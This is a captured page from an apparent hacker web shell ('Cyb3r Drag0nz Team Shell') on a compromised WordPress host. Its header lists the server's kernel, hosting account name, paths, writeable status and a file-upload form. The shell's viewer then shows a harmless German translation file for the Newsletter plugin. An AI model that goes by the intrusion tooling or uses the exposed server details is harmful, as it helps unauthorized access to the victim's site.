Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux webd003.cluster126.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : atwiofrxug (73666)
PHP Version : 8.4.10
Disable Functions : _dyuweyrj4,_dyuweyrj4r,dl
Current Directory : /home/atwiofrxug/mylittletelaviv/wp-content/languages/plugins/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/atwiofrxug/mylittletelaviv/wp-content/languages/plugins/newsletter-de_DE.po

# Translation of Plugins - Newsletter - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - Newsletter - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-01-17 07:44:35+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: de\n"
"Project-Id-Version: Plugins - Newsletter - Stable (latest release)\n"

#: emails/tnp-composer/edit.php:22
msgid "WIDTH"
msgstr "Breite"

#: tnp-header.php:147
msgid "Get Professional Addons"
msgstr "Hole professionelle Addons"

#: main/extensions.php:43
msgid "Extend your Newsletter experience with our addons"
msgstr "Erweitere die Newsletter-Möglichkeiten mit unseren Add-Ons"

#: emails/edit.php:249
msgid "Read more about delivery issues"
msgstr "Lies mehr über Zustellungsprobleme"

#: includes/controls.php:1482
msgid "Install a multilanguage plugin."
msgstr "Installiere ein Mehrsprachen-Plugin"

#: emails/blocks/hero/options.php:16
msgid "Image"
msgstr "Bild"

#: emails/blocks/cta/options.php:50
msgid "Block padding"
msgstr "Block padding"

#: emails/blocks/cta/options.php:37
msgid "Width"
msgstr "Breite"

#: emails/blocks/cta/options.php:10
msgid "Label and link"
msgstr "Label und Link"

#: emails/blocks/posts/options.php:78
msgid "Title font"
msgstr "Title Schriftart"

#: emails/blocks/posts/options.php:72
msgid "Text font"
msgstr "Text Schriftart"

#: emails/blocks/posts/options.php:56
msgid "Show image"
msgstr "Bild anzeigen"

#: subscription/lists.php:73
msgid "Pre-assigned by language"
msgstr "Vorgegeben durch die Sprache"

#: includes/controls.php:1512
msgid "Your multilanguage plugin is not supported or there are no languages defined"
msgstr "Dein Multilanguage-Plugin wird nicht unterstützt oder es sind keine Sprachen definiert"

#: includes/controls.php:1505
msgid "Install WPML or Polylang for multilanguage support"
msgstr "Installiere WMPL oder Polylang für Unterstützung der Mehrsprachigkeit"

#: users/index.php:36
msgid "Welcome email sent."
msgstr "Willkommen-Email gesendet,"

#: users/index.php:30
msgid "Activation email sent."
msgstr "Aktivierungs-Email gesendet."

#: unsubscription/index.php:91
msgid "On error"
msgstr "Bei Fehler"

#: emails/blocks/posts/options.php:62
msgid "Show date"
msgstr "Datum anzeigen"

#: users/edit.php:152 emails/blocks/posts/options.php:32
msgid "Language"
msgstr "Sprache"

#: emails/blocks/cta/options.php:27 emails/blocks/posts/options.php:18
#: emails/blocks/hero/options.php:48
msgid "Label"
msgstr "Label"

#: emails/blocks/posts/options.php:16 emails/blocks/hero/options.php:33
msgid "Button"
msgstr "Button"

#: emails/blocks/giphy/options.php:36
msgid "Padding"
msgstr "Padding"

#: main/main.php:286
msgid "Disable the scheduler notice"
msgstr "Zeitplaner-Notiz abschalten"

#: main/main.php:296
msgid "Do not store"
msgstr "Nicht speichern"

#: main/main.php:296
msgid "Anonymize"
msgstr "Anonymisieren"

#: main/main.php:296
msgid "Store"
msgstr "Speichern"

#: main/main.php:294
msgid "IP addresses"
msgstr "IP Adressen"

#: subscription/lists.php:101
msgid "Unlink everyone"
msgstr "Alle Links entfernen"

#: profile/index.php:136
msgid "Log of sent newsletters"
msgstr "Log der versendeten Newsletter"

#: profile/index.php:51
msgid "Subscriber data export"
msgstr "Export der Abonnentendaten"

#: includes/module.php:972
msgid "No subscriber found."
msgstr "Keine Abonnenten gefunden"

#: emails/edit.php:268
msgid "The message is missing the subscriber profile or cancellation link."
msgstr "In der Nachricht fehlt das Abonnentenprofil oder der Link zur Stornierung."

#: profile/profile.php:125
msgid "Subscriber not found."
msgstr "Keine Abonnenten gefunden."

#: profile/index.php:107
msgid "Labels"
msgstr "Beschriftungen"

#: profile/index.php:81
msgid "Profile saved"
msgstr "Profil gespeichert"

#: includes/module.php:1709
msgid "Math question"
msgstr "Rechenaufgabe"

#: subscription/profile.php:160
msgid "Use WordPress privacy URL"
msgstr "Datenschutz-URL von WordPress übernehmen"

#: users/edit.php:111
msgid "Logs"
msgstr "Logs"

#: users/edit.php:108
msgid "Extra fields"
msgstr "Zusätzliche Angaben"

#: tnp-header.php:44
msgid "The subscriber personal profile editing panel"
msgstr "Abonnenten Profil Bearbeitung"

#: unsubscription/index.php:105
msgid "Reactivated message"
msgstr "Wiederhergestellte Nachricht"

#: unsubscription/index.php:64
msgid "Cancellation message"
msgstr "Stornierung-Nachricht"

#: unsubscription/index.php:58
msgid "Reactivation"
msgstr "Re-Aktivierung"

#: unsubscription/index.php:42 unsubscription/index.php:57
msgid "Cancellation"
msgstr "Abbruch"

#: subscription/profile.php:140
msgid "\"Subscribe\" label"
msgstr "\"Abonnieren\" Label"

#: subscription/profile.php:32
msgid "Optional"
msgstr "Optional"

#: subscription/profile.php:31
msgid "Show on subscription form"
msgstr "Im Anmeldeformular anzeigen"

#: subscription/profile.php:31
msgid "Show on profile page"
msgstr "Auf der Profilseite anzeigen"

#: subscription/profile.php:31
msgid "Private"
msgstr "Privat"

#: subscription/options.php:155
msgid "Repeated subscriptions"
msgstr "Wiederholte Anmeldungen"

#: subscription/options.php:149
msgid "Override Opt In"
msgstr "Opt-In übergehen"

#: subscription/options.php:119
msgid "Subscription Configuration"
msgstr "Einstellungen der Anmeldung"

#: subscription/lists.php:79
msgid "Notes"
msgstr "Notizen"

#: subscription/lists.php:71
msgid "Pre-assigned"
msgstr "Vorgabe Zuordnung"

#: subscription/lists.php:70
msgid "Pre-checked"
msgstr "Vor-ausgewählt"

#: subscription/lists.php:69
msgid "Visibility"
msgstr "Sichtbarkeit"

#: unsubscription/defaults.php:25
msgid "Your subscription has been reactivated."
msgstr "Dein Abonnement wurde wiederhergestellt"

#: unsubscription/defaults.php:23
msgid "This message confirms that you have unsubscribed from our newsletter. Thank you."
msgstr "Mit dieser Nachricht wird bestätigt, dass Du dich von unserem Newsletter abgemeldet hast. Danke."

#: unsubscription/defaults.php:21
msgid "Goodbye"
msgstr "Auf Wiedersehen"

#: unsubscription/defaults.php:19
msgid "Your subscription has been deleted. If that was an error you can <a href=\"{reactivate_url}\">subscribe again here</a>."
msgstr "Deine Anmeldung wurde gelöscht. Falls das ein Irrtum war, kannst Du dich <a href=\"{reactivate_url}\">hier wieder anmelden</a>."

#: unsubscription/defaults.php:16
msgid "Subscriber not found, it probably has already been removed. No further actions are required."
msgstr "Abonnent/in nicht gefunden, die Daten sind wahrscheinlich bereits gelöscht. Es ist nichts weiter zu tun."

#: includes/controls.php:382
msgid "Deleted."
msgstr "Gelöscht."

#: includes/controls.php:389
msgid "Options reset."
msgstr "Einstellungen zurückgesetzt."

#: main/main.php:254
msgid "Disable standard styles"
msgstr "Standard-Stile deaktivieren"

#: profile/defaults.php:11
msgid "Your email has been changed, an activation email has been sent with instructions."
msgstr "Deine E-Mail-Adresse wurde geändert, eine Aktivierungsnachricht mit weiteren Anweisungen wurde versendet."

#: main/main.php:301
msgid "Newsletters tracking default"
msgstr "Standard Newsletter Tracking"

#: profile/index.php:89
msgid "Email changed alert"
msgstr "Hinweis zur E-Mail-Änderung"

#: profile/index.php:78
msgid "Messages"
msgstr "Nachrichten"

#: profile/index.php:39
msgid "The subscriber profile page"
msgstr "Die Profilseite des Abonnenten"

#: profile/defaults.php:15
msgid "Profile saved."
msgstr "Profil gespeichert."

#: profile/defaults.php:14
msgid "Read our privacy note"
msgstr "Datenschutzerklärung einsehen"

#: profile/defaults.php:12
msgid "Your email is not valid or already in use."
msgstr "Deine E-Mail-Adresse ist nicht gültig oder wird bereits verwendet."

#: profile/index.php:99
msgid "General error"
msgstr "Genereller Fehler"

#: profile/index.php:110
msgid "\"Save\" label"
msgstr "\"Speichern\" Label"

#: profile/index.php:117
msgid "Privacy link text"
msgstr "Datenschutzlink Text"

#: subscription/defaults-profile.php:7
msgid "Email address is not correct"
msgstr "Die E-Mail-Adresse ist nicht korrekt"

#: subscription/defaults-profile.php:8
msgid "First name or full name"
msgstr "Vorname oder ganzer Name"

#: subscription/defaults-profile.php:9
msgid "Name is required"
msgstr "Name ist erforderlich"

#: subscription/defaults.php:26
msgid "You cannot subscribe with the email address you entered, please contact the site administrator."
msgstr "Du kannst dich mit der angegebenen E-Mail-Adresse nicht anmelden. Bitte kontaktiere den Administrator der Webseite."

#: subscription/defaults-profile.php:28
msgid "Dear"
msgstr "Liebe/r"

#: subscription/defaults-profile.php:27
msgid "Mr."
msgstr "Herr"

#: subscription/defaults-profile.php:26
msgid "Ms."
msgstr "Frau"

#: subscription/defaults-profile.php:18
msgid "By continuing, you accept the privacy policy"
msgstr "Indem Du fortfährst, akzeptierst Du unsere Datenschutzerklärung."

#: subscription/defaults-profile.php:16
msgid "I'm"
msgstr "Ich bin"

#: subscription/defaults-profile.php:13
msgid "Last name is required"
msgstr "Nachname ist erforderlich"

#: subscription/defaults.php:34
msgid "A confirmation email is on the way. Follow the instructions and check the spam folder. Thank you."
msgstr "Eine E-Mail zur Bestätigung ist unterwegs. Bitte folge den Anweisungen darin und prüfe auch den Spamordner. Danke."

#: subscription/defaults.php:37
msgid "Please confirm your subscription"
msgstr "Bitte bestätige Deine Anmeldung"

#: subscription/defaults.php:42
msgid "Please confirm your subscription <a href=\"{subscription_confirm_url}\">clicking here</a>"
msgstr "Bitte bestätige Deine Anmeldung, indem Du <a href=\"{subscription_confirm_url}\">hier klickst</a>"

#: subscription/defaults.php:46
msgid "Your subscription has been confirmed"
msgstr "Deine Anmeldung wurde bestätigt"

#: subscription/defaults.php:51
msgid "This message confirms your subscription to our newsletter. Thank you!"
msgstr "Mit dieser Nachricht wird Deine Anmeldung zu unserem Newsletter bestätigt. Danke!"

#: unsubscription/defaults.php:15
msgid "Please confirm you want to unsubscribe <a href=\"{unsubscription_confirm_url}\">clicking here</a>."
msgstr "Bitte bestätige, dass Du dich abmelden möchtest, indem Du <a href=\"{unsubscription_confirm_url}\">hier klickst</a>."

#: subscription/defaults.php:53
msgid "Change your profile"
msgstr "Ändere Dein Profil"

#: users/statistics.php:227
msgid "Male"
msgstr "Männlich"

#: users/massive.php:294
msgid "subscribers without a list"
msgstr "Abonnenten ohne Liste"

#: users/massive.php:293
msgid "Add to list"
msgstr "Zur Liste hinzufügen"

#: users/massive.php:245 users/massive.php:246 users/massive.php:247
#: users/massive.php:248 users/massive.php:249 users/massive.php:250
#: users/massive.php:251 users/massive.php:252 users/massive.php:253
msgid "years"
msgstr "Jahre"

#: users/massive.php:244
msgid "year"
msgstr "Jahr"

#: users/massive.php:243
msgid "months"
msgstr "Monate"

#: users/massive.php:239
msgid "Inactive since"
msgstr "Inaktiv seit"

#: users/massive.php:56
msgid "deleted"
msgstr "gelöscht"

#: users/edit.php:228
msgid "Last activity"
msgstr "Letzte Aktivität"

#: tnp-header.php:64
msgid "Spam subscriptions control"
msgstr "Kontrolle der Spam-Anmeldungen"

#: subscription/antibot.php:71
msgid "Blacklists"
msgstr "Blacklists"

#: subscription/antibot.php:53 subscription/antibot.php:70 tnp-header.php:63
msgid "Security"
msgstr "Sicherheit"

#: subscription/antibot.php:159
msgid "Address black list"
msgstr "Adressen Blacklist"

#: subscription/antibot.php:150
msgid "IP black list"
msgstr "IP Blacklist"

#: subscription/antibot.php:124
msgid "Captcha"
msgstr "Captcha"

#: emails/blocks/cta/options.php:44 emails/blocks/posts/options.php:84
#: emails/blocks/hero/options.php:56
msgid "Block background"
msgstr "Block Hintergrund"

#: emails/blocks/posts/options.php:50 emails/blocks/hero/options.php:10
msgid "Layout"
msgstr "Layout"

#: emails/blocks/posts/options.php:26
msgid "Max"
msgstr "Max"

#: emails/blocks/posts/block.php:21
msgid "Read more..."
msgstr "Weiterlesen ..."

#: emails/blocks/giphy/options.php:18
msgid "Selected"
msgstr "Ausgewählt"

#: emails/blocks/giphy/options.php:10
msgid "Search Giphy"
msgstr "Giphy durchsuchen"

#: emails/blocks/cta/options.php:23 emails/blocks/giphy/options.php:30
#: emails/blocks/preheader/options.php:28 emails/blocks/hero/options.php:44
msgid "Background"
msgstr "Hintergrund"

#: emails/edit.php:650
msgid "Get/Become <em>[something]</em>. 10 Ideas That Work"
msgstr "Erhalte/Werde <em>[Begriff]</em>. 10 Ideen, die funktionieren"

#: emails/edit.php:649
msgid "The 10 Rules for <em>[something]</em>"
msgstr "Die 10 Regeln für <em>[Begriff]</em>"

#: emails/edit.php:648
msgid "The Top 10 <em>[something]</em>"
msgstr "Die Top 10 <em>[Begriff]</em>"

#: emails/edit.php:647
msgid "10 Ways to <em>[something]</em>"
msgstr "10 Wege zu <em>[Begriff]</em>"

#: emails/edit.php:644
msgid "Don't do These 10 Things When <em>[something]</em>"
msgstr "10 Dinge, die du nicht tun solltest, wenn <em>[Begriff]</em>"

#: emails/edit.php:643
msgid "10 <em>[something]</em> Mistakes That Make You Look Dumb"
msgstr "10 <em>[Begriff]</em> Fehler, die dich dumm aussehen lassen"

#: emails/edit.php:642
msgid "Do You Make These 10 <em>[something]</em> Mistakes?"
msgstr "Machst Du diese 10 <em>[Begriff]</em> Fehler?"

#: emails/edit.php:639
msgid "Secrets of [famous people]"
msgstr "Geheimnisse von [famous people]"

#: emails/edit.php:638
msgid "How to End [problem]"
msgstr "Wie du  [Problem] beendest"

#: emails/edit.php:637
msgid "Get Rid of <em>[problem]</em> Once and Forever"
msgstr "Werde <em>[Problem]</em> für immer los"

#: emails/edit.php:636
msgid "10 Ways to Simplify Your <em>[something]</em>"
msgstr "10 Wege dein <em>[Begriff]</em> zu vereinfachen"

#: emails/edit.php:633
msgid "10 Lies <em>[kind of people]</em> Likes to Tell"
msgstr "10 Unwahrheiten, die <em>[bestimmte Leute]</em> gerne erzählen"

#: emails/edit.php:632
msgid "10 Warning Signs That <em>[something]</em>"
msgstr "10 Warnsignale für <em>[Begriff]</em>"

#: emails/edit.php:631
msgid "How safe is your <em>[something]</em> from <em>[danger]</em>?"
msgstr "Wie sicher ist dein <em>[Begriff]</em> vor <em>[Gefahr]</em>?"

#: emails/edit.php:352
msgid "Insert emoji"
msgstr "Emoji einfügen"

#: emails/edit.php:350
msgid "Get ideas"
msgstr "Erhalte Ideen"

#: main/welcome.php:218
msgid "Next"
msgstr "Weiter"

#: main/welcome.php:217
msgid "Previous"
msgstr "Zurück"

#: main/welcome.php:211
msgid "Go to your dashboard"
msgstr "Gehe zum Dashboard"

#: main/welcome.php:206
msgid "If you are unsure on how to use some features of Newsletter, reach for our official documentation."
msgstr "Falls Du unsicher bist, wie einzelne Funktionen des Newsletter verwendet werden, verwendet die offizielle Dokumentation. "

#: main/welcome.php:199
msgid "You can also follow us through our social accounts"
msgstr "Du kannst uns auch auf unseren Social-Media-Accounts folgen"

#: main/welcome.php:194
msgid "Your email"
msgstr "Deine E-Mail"

#: main/welcome.php:193
msgid "Be always updated with the latest releases and tips from our headquarters"
msgstr "Sei immer informiert über die neuesten Veröffentlichungen und Tipps aus der Newsletter-Schmiede"

#: main/welcome.php:189
msgid "You're now ready to begin using Newsletter!"
msgstr "Du kannst nun Newsletter verwenden"

#: main/welcome.php:178
msgid "Take me to my widget settings (opens in a new window)"
msgstr "Zu den Widget-Einstellungen (öffnet in einem neuen Fenster)"

#: main/welcome.php:176
msgid "If you use sidebars in your blog, it may be a good idea to add a subscription form there. Remember to come back here when you're done"
msgstr "Falls Du Sidebars in Deiner Webiste verwendest, wäre es vielleicht eine gute Idee, dort ein Anmeldeformular zu platzieren. Vergiss nicht, hierher zurück zu kommen, sobald Du fertig bist."

#: main/welcome.php:175
msgid "Add Newsletter widget to sidebar"
msgstr "Füge das Newsletter-Widget in die Sidebar ein"

#: main/welcome.php:165
msgid "Email address"
msgstr "E-Mail-Adresse"

#: main/welcome.php:164
msgid "Check if your website can send emails correctly."
msgstr "Prüfe, ob die E-Mails korrekt versendet werden können."

#: main/welcome.php:163
msgid "Time for some tests!"
msgstr "Zeit für ein paar Tests!"

#: main/welcome.php:158
msgid "We've just created the page where your visitors will subscribe and where they will edit their preferences."
msgstr "Wir haben gerade die Seite erstellt, auf der sich BesucherInnen anmelden und ihre Einstellungen bearbeiten können."

#: main/welcome.php:157
msgid "Subscription and Edit<br>page creation"
msgstr "Anmeldung und Bearbeitung<br>Seitenerstellung"

#: main/welcome.php:148
msgid "Subscribe button label"
msgstr "Anmeldebutton Label"

#: main/welcome.php:141
msgid "Add a privacy checkbox"
msgstr "Füge eine Datenschutz-Checkbox hinzu"

#: main/welcome.php:134
msgid "Ask for their name"
msgstr "Nach dem Namen fragen"

#: main/welcome.php:131
msgid "Choose what to ask to your subscribers in your forms."
msgstr "Lege fest, was Du von den Abonnenten bei der Anmeldung wissen möchtest."

#: main/welcome.php:130
msgid "Subscription Forms"
msgstr "Anmeldeformulare"

#: main/welcome.php:124
msgid "Sender email"
msgstr "E-Mail-Adresse des Absenders"

#: main/welcome.php:122
msgid "Choose which name and email address you'd like to appear as the sender of your newsletters."
msgstr "Lege fest, welcher Name und welche Email-Adresse als Absender Deiner Newsletter angezeigt werden soll."

#: main/welcome.php:121
msgid "Sender"
msgstr "Absender"

#: main/welcome.php:115
msgid "In this short tutorial we will guide you through some of the basic settings to get the most out of our plugin. "
msgstr "In dieser kurzen Anleitung begleiten wird Dich durch einige der Basiseinstellungen, damit Du das Optimum aus dem Plugin herausholen kannst."

#: main/welcome.php:114
msgid "Welcome to The Newsletter Plugin and thank your for choosing the best mail management system for Wordpress!"
msgstr "Willkommen beim Newsletter Plugin und danke, dass Du Dich für das beste Mail-Management-System für WordPress entschieden hast."

#: main/welcome.php:49
msgid "There was an error. Complete the setup and then use the status panel to check it out."
msgstr "Es ist ein Fehler aufgetreten. Vervollständige den Setup und überprüfe dann die Statusanzeige, um etwas darüber heraus zu finden."

#: main/welcome.php:43
msgid "Check your mailbox for a test message. Check the spam folder as well."
msgstr "Kontrolliere Deine Mailbox nach einer Testnachricht. Überprüfe auch den Spamordner"

#: main/welcome.php:31
msgid "Please check the email address, it seems wrong."
msgstr "Bitte überprüfe die Email-Adresse; sie scheint nicht korrekt zu sein."

#: main/main.php:213
msgid "A license key is set"
msgstr "Ein Lizenz-Schlüssel wurde gesetzt."

#: users/massive.php:48
msgid "removed from list"
msgstr "aus der Liste entfernt"

#: users/massive.php:43
msgid "added to list"
msgstr "zur Liste hinzugefügt"

#: users/statistics.php:234
msgid "Not specified"
msgstr "Nicht definiert"

#: users/statistics.php:220
msgid "Female"
msgstr "Weiblich"

#: users/statistics.php:143
msgid "Referrer"
msgstr "Referrer"

#: users/statistics.php:60
msgid "Any"
msgstr "Irgendein"

#: users/statistics-time.php:31
msgid "Subscriptions by day (max 90 days)"
msgstr "Anmeldungen pro Tag (max. 90 Tage)"

#: users/statistics-time.php:15
msgid "Year and month"
msgstr "Jahr und Monat"

#: users/statistics-time.php:7
msgid "Subscriptions by month (max 12 months)"
msgstr "Anmeldungen pro Monat (max. 12 Monate)"

#: users/new.php:20
msgid "This subscriber already exists."
msgstr "Dieser Abonnent existiert bereits"

#: users/new.php:11
msgid "Wrong email address."
msgstr "Falsche E-Mail-Adresse"

#: users/massive.php:282
msgid "to"
msgstr "zu"

#: users/massive.php:281
msgid "all subscribers in"
msgstr "alle Abonnenten in"

#: users/massive.php:176
msgid "Bounces"
msgstr "Bounces"

#: users/index.php:231
msgid "Resend activation"
msgstr "Aktivierungslink nochmals senden"

#: users/index.php:143
msgid "The list below is filtered."
msgstr "Die nachstehende Liste ist gefiltert"

#: users/import.php:184
msgid "Import mode"
msgstr "Art des Imports"

#: users/edit.php:252
msgid "Profile URL"
msgstr "Profil URL"

#: users/edit.php:246
msgid "Secret token"
msgstr "Geheimnis"

#: users/edit.php:240
msgid "IP address"
msgstr "IP-Adresse"

#: users/edit.php:193
msgid "Value"
msgstr "Wert"

#: subscription/lists.php:67 users/index.php:163 users/edit.php:192
msgid "Name"
msgstr "Name"

#: users/edit.php:158
msgid "Test subscriber"
msgstr "Test-Abonnent"

#: subscription/defaults-profile.php:12 subscription/profile.php:97
#: users/edit.php:134
msgid "Last name"
msgstr "Nachname"

#: subscription/profile.php:80 users/edit.php:128
msgid "First name"
msgstr "Vorname"

#: users/new.php:48 users/edit.php:122
msgid "Email"
msgstr "E-Mail-Adresse"

#: users/edit.php:44
msgid "Error. Check the log files."
msgstr "Fehler. Überprüfe die Log-Datei"

#: users/edit.php:24
msgid "The email address is already in use"
msgstr "Diese E-Mail-Adresse wird bereits verwendet"

#: users/edit.php:15
msgid "Wrong email address"
msgstr "Falsche E-Mail-Adresse"

#: profile/index.php:70
msgid "Alternative profile page URL"
msgstr "Alternative URL zur Profilseite"

#: subscription/options.php:267
msgid "Welcome email"
msgstr "Willkommens-E-Mail"

#: subscription/options.php:257
msgid "Conversion tracking code"
msgstr "Tracking Code für die Umwandlung"

#: subscription/options.php:250
msgid "Alternative welcome page URL"
msgstr "URL der alternativen Willkommens-Seite"

#: subscription/options.php:243
msgid "Welcome message"
msgstr "Willkommens-Nachricht"

#: subscription/options.php:226
msgid "Activation email"
msgstr "Aktivierungs-Email"

#: subscription/options.php:217
msgid "Alternative activation page"
msgstr "Alternative Aktivierungsseite"

#: subscription/options.php:210
msgid "Activation message"
msgstr "Aktivierungsnachricht"

#: subscription/options.php:205
msgid "Only for double opt-in mode."
msgstr "Nur für den Double-Opt-In Modus"

#: subscription/options.php:194
msgid "Error page"
msgstr "Fehlerseite"

#: subscription/antibot.php:102
msgid "Antiflood"
msgstr "Antiflood"

#: subscription/antibot.php:83
msgid "Disable for ajax form submission"
msgstr "Ajax beim Anmeldeformular deaktivieren"

#: subscription/antibot.php:79
msgid "Disable antibot/antispam?"
msgstr "Antibot/Antispam deaktivieren?"

#: subscription/options.php:182
msgid "Subscription page"
msgstr "Anmeldeseite"

#: subscription/options.php:164
msgid "Notifications"
msgstr "Nachrichten"

#: main/main.php:201
msgid "Create the page"
msgstr "Erstelle die Seite"

#: main/main.php:198
msgid "Unstyled page"
msgstr "Seite ohne Styling"

#: main/main.php:196
msgid "Dedicated page"
msgstr "Dafür vorgesehene Seite"

#: subscription/options.php:144
msgid "Single Opt In"
msgstr "Single Opt-In"

#: subscription/options.php:144
msgid "Double Opt In"
msgstr "Double Opt-In"

#: subscription/options.php:142
msgid "Opt In"
msgstr "Opt-In"

#: subscription/defaults.php:48 subscription/options.php:133
msgid "Welcome"
msgstr "Willkommen"

#: subscription/options.php:134
msgid "Activation"
msgstr "Aktivierung"

#: main/main.php:323
msgid "Email encoding"
msgstr "E-Mail-Verschlüsselung"

#: main/main.php:316
msgid "Send email directly"
msgstr "E-Mail direkt versenden"

#: main/main.php:309
msgid "Debug mode"
msgstr "Debug Modus"

#: main/main.php:277
msgid "Log level"
msgstr "Log Ebene"

#: main/main.php:269
msgid "Enable access to blog editors?"
msgstr "Zugang für Redakteure freigeben?"

#: main/main.php:217
msgid "Find it in <a href=\"%s\" target=\"_blank\">your account</a> page"
msgstr "Du findest es auf <a href=\"%s\" target=\"_blank\">Deiner Kontoseite</a>."

#: main/main.php:210
msgid "License key"
msgstr "Lizenzschlüssel"

#: main/main.php:112
msgid "Your Return Path domain is different from your Sender domain. Providers may require them to match."
msgstr "Der Rückgabepfad unterscheidet sich von der URL des Absenders. Möglicherweise verlangen die Vorgaben des Providers, dass beide übereinstimmen"

#: main/info.php:84
msgid "Copyright or legal text"
msgstr "Copyright oder Rechtstext"

#: main/info.php:78
msgid "Address"
msgstr "Adresse"

#: main/info.php:72
msgid "Company name"
msgstr "Firma"

#: main/info.php:68
msgid "Footer Settings"
msgstr "Einstellungen des Footers"

#: main/info.php:61
msgid "Motto"
msgstr "Motto"

#: main/info.php:47
msgid "Logo"
msgstr "Logo"

#: main/info.php:42
msgid "Header Settings"
msgstr "Einstellungen des Headers"

#: includes/controls.php:1580 includes/controls.php:1591
msgid "Need help?"
msgstr "Benötigst Du Hilfe?"

#: main/status.php:108 emails/edit.php:239 includes/controls.php:1483
#: includes/controls.php:1568
msgid "Read more"
msgstr "Weiterlesen"

#: includes/controls.php:1405
msgid "Center"
msgstr "Zentriert"

#: includes/controls.php:1404
msgid "Right"
msgstr "Rechts"

#: includes/controls.php:1404
msgid "Left"
msgstr "Links"

#: emails/tnp-composer/edit.php:105
msgid "Font family"
msgstr "Font Family"

#: emails/themes/default/theme-options.php:59
msgid "Post types"
msgstr "Beitragstypen"

#: emails/themes/default/theme-options.php:53
msgid "Max posts"
msgstr "Max.Beiträge"

#: emails/themes/default/theme-options.php:46
#: emails/blocks/posts/options.php:44
msgid "Tags"
msgstr "Schlagwörter"

#: emails/themes/default/theme-options.php:21
msgid "Posts"
msgstr "Beiträge"

#: emails/themes/default/theme-options.php:8
#: emails/themes/cta-2015/theme-options.php:6
msgid "Primary color"
msgstr "Hauptfarbe"

#: emails/themes/blank/theme-options.php:6
#: emails/themes/default/theme-options.php:15
msgid "Disable social links"
msgstr "SocialMedia-Links entfernen"

#: emails/edit.php:442
msgid "Approximated subscribers count"
msgstr "Geschätzte Anzahl der Abonnenten"

#: emails/edit.php:435
msgid "Only to subscribers linked to WP users"
msgstr "Nur an Abonnenten, die auch WP-User sind"

#: emails/edit.php:416
msgid "None"
msgstr "Kein"

#: emails/edit.php:414
msgid "must not in one of"
msgstr "darf in keinem davon sein"

#: users/export.php:40 emails/edit.php:412
msgid "All"
msgstr "Alle"

#: emails/edit.php:410
msgid "Match all of"
msgstr "Entsprechen allen von"

#: emails/edit.php:410
msgid "Match at least one of"
msgstr "Entspricht zumindest einem von"

#: emails/edit.php:401
msgid "Leaving all multichoice options unselected is like to select all them"
msgstr "Bei der Mehrfachauswahl nichts auszuwählen bedeutet, dass alle ausgewählt werden"

#: emails/edit.php:344
msgid "Switch editor"
msgstr "Editor wechseln"

#: emails/edit.php:338
msgid "Test"
msgstr "Test"

#: emails/edit.php:263
msgid "This newsletter will be sent to not confirmed subscribers."
msgstr "Dieser Newsletter wird an nicht bestätigte Abonnenten gesendet"

#: emails/blocks/separator/options.php:17
msgid "Height"
msgstr "Höhe"

#: emails/blocks/separator/options.php:11
msgid "Color"
msgstr "Farbe"

#: emails/blocks/preheader/options.php:16 emails/index.php:117
msgid "View"
msgstr "Ansicht"

#: subscription/antibot.php:112 subscription/antibot.php:113
#: subscription/antibot.php:114 subscription/antibot.php:115
#: subscription/antibot.php:116 subscription/antibot.php:117
msgid "minutes"
msgstr "Minuten"

#: subscription/antibot.php:111
msgid "minute"
msgstr "Minute"

#: subscription/antibot.php:107 subscription/antibot.php:108
#: subscription/antibot.php:109 subscription/antibot.php:110
msgid "seconds"
msgstr "Sekunden"

#: subscription/antibot.php:93 subscription/antibot.php:106
#: includes/controls.php:444
msgid "Disabled"
msgstr "deaktiviert"

#: profile/defaults.php:6
msgid ""
"\n"
"    <p>If you change your email address, a confirmation email will be sent to activate it.</p>\n"
"    <p><a href=\"{unsubscription_confirm_url}\">Cancel your subscription</a></p>"
msgstr ""
"\n"
"{profile_form}\n"
"    <p>Wenn Du Deine E-Mail-Adresse änderst, wird eine erneute E-Mail zur Aktivierung versendet.</p>\n"
"    <p><a href=\"{unsubscription_confirm_url}\">Beim Newsletter abmelden</a></p>"

#: emails/tnp-composer/edit.php:134
msgid "Text align"
msgstr "Textausrichtung"

#: emails/tnp-composer/edit.php:127
msgid "Font size"
msgstr "Schriftgröße"

#: emails/tnp-composer/blocks/footer-01-footer.block.php:14
msgid "View online"
msgstr "Online ansehen"

#: emails/tnp-composer/blocks/footer-01-footer.block.php:10
msgid "Change your subscription"
msgstr "Ändere Dein Abonnement"

#: users/edit.php:234
msgid "WP user ID"
msgstr "WP User-ID"

#: users/edit.php:222
msgid "Created"
msgstr "Erstellt"

#: emails/themes/vimeo-like/theme-defaults.php:7
msgid "Read More"
msgstr "Weiterlesen"

#: emails/edit.php:470
msgid "Toggle"
msgstr "Umschalten"

#: subscription/options.php:158 emails/index.php:107 includes/controls.php:427
msgid "No"
msgstr "Nein"

#: main/index.php:173 main/index.php:186
msgid "Subscriptions"
msgstr "Abonnements"

#: subscription/defaults-profile.php:24 tnp-header.php:226
#: main/extensions.php:194 main/welcome.php:196
msgid "Subscribe"
msgstr "Abonnieren"

#: includes/controls.php:805
msgid "Duplicate"
msgstr "Duplizieren"

#: widget/standard.php:134 widget/minimal.php:89
msgid "Automatically subscribe to"
msgstr "Automatisch abonnieren"

#: subscription/template.php:106
msgid "Template"
msgstr "Template"

#: tnp-header.php:153
msgid "Licence not valid"
msgstr "Ungültige Lizenz"

#: main/extensions.php:67 main/extensions.php:107 main/extensions.php:137
msgid "Plugin active"
msgstr "Plugin aktiv"

#: main/extensions.php:41
msgid "Extensions"
msgstr "Erweiterungen"

#: main/extensions.php:70 main/extensions.php:110 main/extensions.php:140
msgid "Activate"
msgstr "Aktivieren"

#: users/massive.php:261
msgid "Update"
msgstr "Update"

#: tnp-header.php:67
msgid "Subscription Form Fields, Buttons, Labels"
msgstr "Anmeldeformular Felder, Buttons, Labels"

#: main/status.php:240 main/welcome.php:167
msgid "Send a test message"
msgstr "Sende eine Nachricht"

#: main/status.php:142
msgid "System Status"
msgstr "System Status"

#: main/main.php:260
msgid "Custom styles"
msgstr "Benutzerdefinierte Stile"

#: subscription/template.php:36
